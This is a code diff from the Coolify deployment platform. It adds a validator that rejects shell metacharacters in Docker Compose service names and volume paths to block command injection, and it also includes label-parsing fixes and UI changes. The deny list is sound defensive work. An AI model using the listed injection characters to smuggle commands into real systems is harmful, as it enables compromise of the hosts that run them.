@@ -265,6 +400,16 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$allMagicEnvironments = collect([]); $allMagicEnvironments = collect([]);
foreach ($services as $serviceName => $service) { foreach ($services as $serviceName => $service) {
// Validate service name for command injection
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.'
);
}
$magicEnvironments = collect([]); $magicEnvironments = collect([]);
$image = data_get_str($service, 'image'); $image = data_get_str($service, 'image');
$environment = collect(data_get($service, 'environment', [])); $environment = collect(data_get($service, 'environment', []));
@@ -561,6 +706,33 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
$content = data_get($volume, 'content'); $content = data_get($volume, 'content');
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
// Validate source and target for command injection (array/long syntax)
if ($source !== null && ! empty($source->value())) {
$sourceValue = $source->value();
// Allow simple environment variable references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceValue, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
if ($target !== null && ! empty($target->value())) {
try {
validateShellSafePath($target->value(), 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
$foundConfig = $fileStorages->whereMountPath($target)->first(); $foundConfig = $fileStorages->whereMountPath($target)->first();
if ($foundConfig) { if ($foundConfig) {
$contentNotNull_temp = data_get($foundConfig, 'content'); $contentNotNull_temp = data_get($foundConfig, 'content');
@@ -1178,26 +1350,39 @@ function serviceParser(Service $resource): Collection
$allMagicEnvironments = collect([]); $allMagicEnvironments = collect([]);
// Presave services // Presave services
foreach ($services as $serviceName => $service) { foreach ($services as $serviceName => $service) {
// Validate service name for command injection
try {
validateShellSafePath($serviceName, 'service name');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker Compose service name: '.$e->getMessage().
' Service names must not contain shell metacharacters.'
);
}
$image = data_get_str($service, 'image'); $image = data_get_str($service, 'image');
$isDatabase = isDatabaseImage($image, $service); $isDatabase = isDatabaseImage($image, $service);
if ($isDatabase) { if ($isDatabase) {
$applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first(); $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
if ($applicationFound) { if ($applicationFound) {
$savedService = $applicationFound; $savedService = $applicationFound;
} else { } else {
$savedService = ServiceDatabase::firstOrCreate([ $savedService = ServiceDatabase::firstOrCreate([
'name' => $serviceName, 'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id, 'service_id' => $resource->id,
]); ]);
} }
} else { } else {
$savedService = ServiceApplication::firstOrCreate([ $savedService = ServiceApplication::firstOrCreate([
'name' => $serviceName, 'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id, 'service_id' => $resource->id,
]); ]);
} }
// Update image if it changed
if ($savedService->image !== $image) {
$savedService->image = $image;
$savedService->save();
}
} }
foreach ($services as $serviceName => $service) { foreach ($services as $serviceName => $service) {
$predefinedPort = null; $predefinedPort = null;
@@ -1514,20 +1699,18 @@ function serviceParser(Service $resource): Collection
} }
if ($isDatabase) { if ($isDatabase) {
$applicationFound = ServiceApplication::where('name', $serviceName)->where('image', $image)->where('service_id', $resource->id)->first(); $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
if ($applicationFound) { if ($applicationFound) {
$savedService = $applicationFound; $savedService = $applicationFound;
} else { } else {
$savedService = ServiceDatabase::firstOrCreate([ $savedService = ServiceDatabase::firstOrCreate([
'name' => $serviceName, 'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id, 'service_id' => $resource->id,
]); ]);
} }
} else { } else {
$savedService = ServiceApplication::firstOrCreate([ $savedService = ServiceApplication::firstOrCreate([
'name' => $serviceName, 'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id, 'service_id' => $resource->id,
]); ]);
} }
@@ -1574,6 +1757,33 @@ function serviceParser(Service $resource): Collection
$content = data_get($volume, 'content'); $content = data_get($volume, 'content');
$isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null); $isDirectory = (bool) data_get($volume, 'isDirectory', null) || (bool) data_get($volume, 'is_directory', null);
// Validate source and target for command injection (array/long syntax)
if ($source !== null && ! empty($source->value())) {
$sourceValue = $source->value();
// Allow simple environment variable references
$isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
if (! $isSimpleEnvVar) {
try {
validateShellSafePath($sourceValue, 'volume source');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
}
if ($target !== null && ! empty($target->value())) {
try {
validateShellSafePath($target->value(), 'volume target');
} catch (\Exception $e) {
throw new \Exception(
'Invalid Docker volume definition (array syntax): '.$e->getMessage().
' Please use safe path names without shell metacharacters.'
);
}
}
$foundConfig = $fileStorages->whereMountPath($target)->first(); $foundConfig = $fileStorages->whereMountPath($target)->first();
if ($foundConfig) { if ($foundConfig) {
$contentNotNull_temp = data_get($foundConfig, 'content'); $contentNotNull_temp = data_get($foundConfig, 'content');

View File

@@ -104,6 +104,48 @@ function sanitize_string(?string $input = null): ?string
return $sanitized; return $sanitized;
} }
/**
* Validate that a path or identifier is safe for use in shell commands.
*
* This function prevents command injection by rejecting strings that contain
* shell metacharacters or command substitution patterns.
*
* @param string $input The path or identifier to validate
* @param string $context Descriptive name for error messages (e.g., 'volume source', 'service name')
* @return string The validated input (unchanged if valid)
*
* @throws \Exception If dangerous characters are detected
*/
function validateShellSafePath(string $input, string $context = 'path'): string
{
// List of dangerous shell metacharacters that enable command injection
$dangerousChars = [
'`' => 'backtick (command substitution)',
'$(' => 'command substitution',
'${' => 'variable substitution with potential command injection',
'|' => 'pipe operator',
'&' => 'background/AND operator',
';' => 'command separator',
"\n" => 'newline (command separator)',
"\r" => 'carriage return',
"\t" => 'tab (token separator)',
'>' => 'output redirection',
'<' => 'input redirection',
];
// Check for dangerous characters
foreach ($dangerousChars as $char => $description) {
if (str_contains($input, $char)) {
throw new \Exception(
"Invalid {$context}: contains forbidden character '{$char}' ({$description}). ".
'Shell metacharacters are not allowed for security reasons.'
);
}
}
return $input;
}
function generate_readme_file(string $name, string $updated_at): string function generate_readme_file(string $name, string $updated_at): string
{ {
$name = sanitize_string($name); $name = sanitize_string($name);
@@ -1285,6 +1327,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
if ($serviceLabels->count() > 0) { if ($serviceLabels->count() > 0) {
$removedLabels = collect([]); $removedLabels = collect([]);
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) { $serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
if (is_array($serviceLabel)) {
$removedLabels->put($serviceLabelName, $serviceLabel);
return false;
}
if (! str($serviceLabel)->contains('=')) { if (! str($serviceLabel)->contains('=')) {
$removedLabels->put($serviceLabelName, $serviceLabel); $removedLabels->put($serviceLabelName, $serviceLabel);
@@ -1294,6 +1342,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
return $serviceLabel; return $serviceLabel;
}); });
foreach ($removedLabels as $removedLabelName => $removedLabel) { foreach ($removedLabels as $removedLabelName => $removedLabel) {
// Convert array values to strings
if (is_array($removedLabel)) {
$removedLabel = (string) collect($removedLabel)->first();
}
$serviceLabels->push("$removedLabelName=$removedLabel"); $serviceLabels->push("$removedLabelName=$removedLabel");
} }
} }
@@ -1317,6 +1369,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
'name' => $serviceName, 'name' => $serviceName,
'service_id' => $resource->id, 'service_id' => $resource->id,
])->first(); ])->first();
if (is_null($savedService)) {
$savedService = ServiceDatabase::create([
'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id,
]);
}
} }
} else { } else {
if ($isNew) { if ($isNew) {
@@ -1330,21 +1389,13 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
'name' => $serviceName, 'name' => $serviceName,
'service_id' => $resource->id, 'service_id' => $resource->id,
])->first(); ])->first();
} if (is_null($savedService)) {
} $savedService = ServiceApplication::create([
if (is_null($savedService)) { 'name' => $serviceName,
if ($isDatabase) { 'image' => $image,
$savedService = ServiceDatabase::create([ 'service_id' => $resource->id,
'name' => $serviceName, ]);
'image' => $image, }
'service_id' => $resource->id,
]);
} else {
$savedService = ServiceApplication::create([
'name' => $serviceName,
'image' => $image,
'service_id' => $resource->id,
]);
} }
} }
@@ -2006,6 +2057,12 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
if ($serviceLabels->count() > 0) { if ($serviceLabels->count() > 0) {
$removedLabels = collect([]); $removedLabels = collect([]);
$serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) { $serviceLabels = $serviceLabels->filter(function ($serviceLabel, $serviceLabelName) use ($removedLabels) {
// Handle array values from YAML (e.g., "traefik.enable: true" becomes an array)
if (is_array($serviceLabel)) {
$removedLabels->put($serviceLabelName, $serviceLabel);
return false;
}
if (! str($serviceLabel)->contains('=')) { if (! str($serviceLabel)->contains('=')) {
$removedLabels->put($serviceLabelName, $serviceLabel); $removedLabels->put($serviceLabelName, $serviceLabel);
@@ -2015,6 +2072,10 @@ function parseDockerComposeFile(Service|Application $resource, bool $isNew = fal
return $serviceLabel; return $serviceLabel;
}); });
foreach ($removedLabels as $removedLabelName => $removedLabel) { foreach ($removedLabels as $removedLabelName => $removedLabel) {
// Convert array values to strings
if (is_array($removedLabel)) {
$removedLabel = (string) collect($removedLabel)->first();
}
$serviceLabels->push("$removedLabelName=$removedLabel"); $serviceLabels->push("$removedLabelName=$removedLabel");
} }
} }

View File

@@ -1,7 +1,7 @@
{ {
"scripts": { "scripts": {
"setup": "./scripts/conductor-setup.sh", "setup": "./scripts/conductor-setup.sh",
"run": "spin up; spin down" "run": "docker rm -f coolify coolify-realtime coolify-minio coolify-testing-host coolify-redis coolify-db coolify-mail coolify-vite; spin up; spin down"
}, },
"runScriptMode": "nonconcurrent" "runScriptMode": "nonconcurrent"
} }

View File

@@ -2,7 +2,7 @@
return [ return [
'coolify' => [ 'coolify' => [
'version' => '4.0.0-beta.435', 'version' => '4.0.0-beta.436',
'helper_version' => '1.0.11', 'helper_version' => '1.0.11',
'realtime_version' => '1.0.10', 'realtime_version' => '1.0.10',
'self_hosted' => env('SELF_HOSTED', true), 'self_hosted' => env('SELF_HOSTED', true),

View File

@@ -16,6 +16,7 @@ class InstanceSettingsSeeder extends Seeder
InstanceSettings::create([ InstanceSettings::create([
'id' => 0, 'id' => 0,
'is_registration_enabled' => true, 'is_registration_enabled' => true,
'is_api_enabled' => isDev(),
'smtp_enabled' => true, 'smtp_enabled' => true,
'smtp_host' => 'coolify-mail', 'smtp_host' => 'coolify-mail',
'smtp_port' => 1025, 'smtp_port' => 1025,

View File

@@ -46,20 +46,20 @@
/* input, select before */ /* input, select before */
@utility input-select { @utility input-select {
@apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-1 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent; @apply block py-1.5 w-full text-sm text-black rounded-sm border-0 ring-2 ring-inset dark:bg-coolgray-100 dark:text-white ring-neutral-200 dark:ring-coolgray-300 disabled:bg-neutral-200 disabled:text-neutral-500 dark:disabled:bg-coolgray-100/40 dark:disabled:ring-transparent;
} }
/* Readonly */ /* Readonly */
@utility input { @utility input {
@apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200; @apply dark:read-only:text-neutral-500 dark:read-only:ring-0 dark:read-only:bg-coolgray-100/40 placeholder:text-neutral-300 dark:placeholder:text-neutral-700 read-only:text-neutral-500 read-only:bg-neutral-200;
@apply input-select; @apply input-select;
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base; @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
} }
@utility select { @utility select {
@apply w-full; @apply w-full;
@apply input-select; @apply input-select;
@apply focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning focus-visible:ring-offset-2 dark:focus-visible:ring-offset-base; @apply focus-visible:outline-none focus-visible:border-l-4 focus-visible:border-l-coollabs dark:focus-visible:border-l-warning;
} }
@utility button { @utility button {

View File

@@ -98,12 +98,12 @@
{{-- Unified Input Container with Tags Inside --}} {{-- Unified Input Container with Tags Inside --}}
<div @click="$refs.searchInput.focus()" <div @click="$refs.searchInput.focus()"
class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white" class="flex flex-wrap gap-1.5 max-h-40 overflow-y-auto scrollbar py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text px-1 focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
:class="{ :class="{
'opacity-50': {{ $disabled ? 'true' : 'false' }} 'opacity-50': {{ $disabled ? 'true' : 'false' }}
}" }"
wire:loading.class="opacity-50" wire:loading.class="opacity-50"
wire:dirty.class="dark:ring-warning ring-warning"> wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
{{-- Selected Tags Inside Input --}} {{-- Selected Tags Inside Input --}}
<template x-for="value in selected" :key="value"> <template x-for="value in selected" :key="value">
@@ -229,12 +229,12 @@
{{-- Input Container --}} {{-- Input Container --}}
<div @click="openDropdown()" <div @click="openDropdown()"
class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-1 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:ring-2 focus-within:ring-coollabs dark:focus-within:ring-warning text-black dark:text-white" class="flex items-center gap-2 py-1.5 w-full text-sm rounded-sm border-0 ring-2 ring-inset ring-neutral-200 dark:ring-coolgray-300 bg-white dark:bg-coolgray-100 cursor-text focus-within:border-l-4 focus-within:border-l-coollabs dark:focus-within:border-l-warning text-black dark:text-white"
:class="{ :class="{
'opacity-50': {{ $disabled ? 'true' : 'false' }} 'opacity-50': {{ $disabled ? 'true' : 'false' }}
}" }"
wire:loading.class="opacity-50" wire:loading.class="opacity-50"
wire:dirty.class="dark:ring-warning ring-warning"> wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4">
{{-- Display Selected Value or Search Input --}} {{-- Display Selected Value or Search Input --}}
<div class="flex-1 flex items-center min-w-0 px-1"> <div class="flex-1 flex items-center min-w-0 px-1">

View File

@@ -28,7 +28,7 @@
<input autocomplete="{{ $autocomplete }}" value="{{ $value }}" <input autocomplete="{{ $autocomplete }}" value="{{ $value }}"
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required) {{ $attributes->merge(['class' => $defaultClass]) }} @required($required)
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
aria-placeholder="{{ $attributes->get('placeholder') }}" aria-placeholder="{{ $attributes->get('placeholder') }}"
@@ -39,7 +39,7 @@
<input autocomplete="{{ $autocomplete }}" @if ($value) value="{{ $value }}" @endif <input autocomplete="{{ $autocomplete }}" @if ($value) value="{{ $value }}" @endif
{{ $attributes->merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly) {{ $attributes->merge(['class' => $defaultClass]) }} @required($required) @readonly($readonly)
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}" type="{{ $type }}" @disabled($disabled) min="{{ $attributes->get('min') }}"
max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}" max="{{ $attributes->get('max') }}" minlength="{{ $attributes->get('minlength') }}"
maxlength="{{ $attributes->get('maxlength') }}" maxlength="{{ $attributes->get('maxlength') }}"

View File

@@ -81,8 +81,13 @@
document.getElementById(monacoId).addEventListener('monaco-editor-focused', (event) => { document.getElementById(monacoId).addEventListener('monaco-editor-focused', (event) => {
editor.focus(); editor.focus();
}); });
updatePlaceholder(editor.getValue()); updatePlaceholder(editor.getValue());
@if ($autofocus)
// Auto-focus the editor
setTimeout(() => editor.focus(), 100);
@endif
$watch('monacoContent', value => { $watch('monacoContent', value => {
if (editor.getValue() !== value) { if (editor.getValue() !== value) {
@@ -99,7 +104,7 @@
}, 5);" :id="monacoId"> }, 5);" :id="monacoId">
</div> </div>
<div class="relative z-10 w-full h-full"> <div class="relative z-10 w-full h-full">
<div x-ref="monacoEditorElement" class="w-full h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div> <div x-ref="monacoEditorElement" class="w-full h-[calc(100vh-20rem)] min-h-96 text-md {{ $readonly ? 'opacity-65' : '' }}"></div>
<div x-ref="monacoPlaceholderElement" x-show="monacoPlaceholder" @click="monacoEditorFocus()" <div x-ref="monacoPlaceholderElement" x-show="monacoPlaceholder" @click="monacoEditorFocus()"
:style="'font-size: ' + monacoFontSize" :style="'font-size: ' + monacoFontSize"
class="w-full text-sm font-mono absolute z-50 text-gray-500 ml-14 -translate-x-0.5 mt-0.5 left-0 top-0" class="w-full text-sm font-mono absolute z-50 text-gray-500 ml-14 -translate-x-0.5 mt-0.5 left-0 top-0"

View File

@@ -11,7 +11,7 @@
</label> </label>
@endif @endif
<select {{ $attributes->merge(['class' => $defaultClass]) }} @disabled($disabled) @required($required) <select {{ $attributes->merge(['class' => $defaultClass]) }} @disabled($disabled) @required($required)
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled" name={{ $modelBinding }} id="{{ $htmlId }}"
@if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} @else wire:model={{ $modelBinding }} @endif> @if ($attributes->whereStartsWith('wire:model')->first()) {{ $attributes->whereStartsWith('wire:model')->first() }} @else wire:model={{ $modelBinding }} @endif>
{{ $slot }} {{ $slot }}
</select> </select>

View File

@@ -27,7 +27,7 @@
@if ($useMonacoEditor) @if ($useMonacoEditor)
<x-forms.monaco-editor id="{{ $modelBinding }}" language="{{ $monacoEditorLanguage }}" name="{{ $name }}" <x-forms.monaco-editor id="{{ $modelBinding }}" language="{{ $monacoEditorLanguage }}" name="{{ $name }}"
name="{{ $modelBinding }}" model="{{ $value ?? $modelBinding }}" wire:model="{{ $value ?? $modelBinding }}" name="{{ $modelBinding }}" model="{{ $value ?? $modelBinding }}" wire:model="{{ $value ?? $modelBinding }}"
readonly="{{ $readonly }}" label="dockerfile" /> readonly="{{ $readonly }}" label="dockerfile" autofocus="{{ $autofocus }}" />
@else @else
@if ($type === 'password') @if ($type === 'password')
<div class="relative" x-data="{ type: 'password' }"> <div class="relative" x-data="{ type: 'password' }">
@@ -46,7 +46,7 @@
<input x-cloak x-show="type === 'password'" value="{{ $value }}" <input x-cloak x-show="type === 'password'" value="{{ $value }}"
{{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required) {{ $attributes->merge(['class' => $defaultClassInput]) }} @required($required)
@if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif @if ($modelBinding !== 'null') wire:model={{ $modelBinding }} @endif
wire:dirty.class="dark:ring-warning ring-warning" wire:loading.attr="disabled" wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" wire:loading.attr="disabled"
type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}" type="{{ $type }}" @readonly($readonly) @disabled($disabled) id="{{ $htmlId }}"
name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}" name="{{ $name }}" placeholder="{{ $attributes->get('placeholder') }}"
aria-placeholder="{{ $attributes->get('placeholder') }}"> aria-placeholder="{{ $attributes->get('placeholder') }}">
@@ -55,9 +55,10 @@
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}"
@else @else
wire:model={{ $value ?? $modelBinding }} wire:model={{ $value ?? $modelBinding }}
wire:dirty.class="dark:ring-warning ring-warning" @endif wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}" @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
name="{{ $name }}" name={{ $modelBinding }}></textarea> name="{{ $name }}" name={{ $modelBinding }}
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
</div> </div>
@else @else
@@ -67,9 +68,10 @@
@if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}" @if ($realtimeValidation) wire:model.debounce.200ms="{{ $modelBinding }}"
@else @else
wire:model={{ $value ?? $modelBinding }} wire:model={{ $value ?? $modelBinding }}
wire:dirty.class="dark:ring-warning ring-warning" @endif wire:dirty.class="dark:border-l-warning border-l-coollabs border-l-4" @endif
@disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}" @disabled($disabled) @readonly($readonly) @required($required) id="{{ $htmlId }}"
name="{{ $name }}" name={{ $modelBinding }}></textarea> name="{{ $name }}" name={{ $modelBinding }}
@if ($autofocus) x-ref="autofocusInput" @endif></textarea>
@endif @endif
@endif @endif
@error($modelBinding) @error($modelBinding)

View File

@@ -136,13 +136,17 @@
'new postgresql', 'new postgres', 'new mysql', 'new mariadb', 'new postgresql', 'new postgres', 'new mysql', 'new mariadb',
'new redis', 'new keydb', 'new dragonfly', 'new mongodb', 'new mongo', 'new clickhouse' 'new redis', 'new keydb', 'new dragonfly', 'new mongodb', 'new mongo', 'new clickhouse'
]; ];
if (exactMatchCommands.includes(trimmed)) { if (exactMatchCommands.includes(trimmed)) {
const matchingItem = this.creatableItems.find(item => { const matchingItem = this.creatableItems.find(item => {
const itemSearchText = `new ${item.name}`.toLowerCase(); const itemSearchText = `new ${item.name}`.toLowerCase();
const itemType = `new ${item.type}`.toLowerCase(); const itemType = `new ${item.type}`.toLowerCase();
return itemSearchText === trimmed || itemType === trimmed || const itemTypeWithSpaces = item.type ? `new ${item.type.replace(/-/g, ' ')}` : '';
(item.type && trimmed.includes(item.type.replace(/-/g, ' ')));
// Check if trimmed matches exactly or if the item's quickcommand includes this command
return itemSearchText === trimmed ||
itemType === trimmed ||
itemTypeWithSpaces === trimmed ||
(item.quickcommand && item.quickcommand.toLowerCase().includes(trimmed));
}); });
if (matchingItem) { if (matchingItem) {
@@ -250,8 +254,7 @@
class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen pt-[10vh]"> class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen pt-[10vh]">
<div @click="closeModal()" class="absolute inset-0 w-full h-full bg-black/50 backdrop-blur-sm"> <div @click="closeModal()" class="absolute inset-0 w-full h-full bg-black/50 backdrop-blur-sm">
</div> </div>
<div x-show="modalOpen" x-trap.inert="modalOpen" <div x-show="modalOpen" x-trap.inert="modalOpen" x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
x-transition:enter="ease-out duration-200" x-transition:enter-start="opacity-0 -translate-y-4 scale-95" x-transition:enter="ease-out duration-200" x-transition:enter-start="opacity-0 -translate-y-4 scale-95"
x-transition:enter-end="opacity-100 translate-y-0 scale-100" x-transition:leave="ease-in duration-150" x-transition:enter-end="opacity-100 translate-y-0 scale-100" x-transition:leave="ease-in duration-150"
x-transition:leave-start="opacity-100 translate-y-0 scale-100" x-transition:leave-start="opacity-100 translate-y-0 scale-100"
@@ -268,7 +271,8 @@
</svg> </svg>
<svg x-show="isLoadingInitialData" x-cloak class="animate-spin h-5 w-5 text-warning" <svg x-show="isLoadingInitialData" x-cloak class="animate-spin h-5 w-5 text-warning"
xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"> xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4"> <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
stroke-width="4">
</circle> </circle>
<path class="opacity-75" fill="currentColor" <path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"> d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
@@ -307,8 +311,8 @@
class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white"> class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
viewBox="0 0 24 24" stroke="currentColor"> viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" <path stroke-linecap="round" stroke-linejoin="round"
d="M15 19l-7-7 7-7" /> stroke-width="2" d="M15 19l-7-7 7-7" />
</svg> </svg>
</button> </button>
<div> <div>
@@ -323,11 +327,13 @@
</div> </div>
</div> </div>
@if ($loadingServers) @if ($loadingServers)
<div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg"> <div
<svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg" class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
fill="none" viewBox="0 0 24 24"> <svg class="animate-spin h-5 w-5 text-yellow-500"
<circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" xmlns="http://www.w3.org/2000/svg" fill="none"
stroke-width="4"></circle> viewBox="0 0 24 24">
<circle class="opacity-25" cx="12" cy="12" r="10"
stroke="currentColor" stroke-width="4"></circle>
<path class="opacity-75" fill="currentColor" <path class="opacity-75" fill="currentColor"
d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z"> d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
</path> </path>
@@ -337,7 +343,8 @@
</div> </div>
@elseif (count($availableServers) > 0) @elseif (count($availableServers) > 0)
@foreach ($availableServers as $index => $server) @foreach ($availableServers as $index => $server)
<button type="button" wire:click="selectServer({{ $server['id'] }}, true)" <button type="button"
wire:click="selectServer({{ $server['id'] }}, true)"
class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0"> class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
<div class="flex items-center justify-between gap-3 min-h-[2.5rem]"> <div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
<div class="flex-1 min-w-0"> <div class="flex-1 min-w-0">
@@ -345,7 +352,8 @@
{{ $server['name'] }} {{ $server['name'] }}
</div> </div>
@if (!empty($server['description'])) @if (!empty($server['description']))
<div class="text-xs text-neutral-500 dark:text-neutral-400"> <div
class="text-xs text-neutral-500 dark:text-neutral-400">
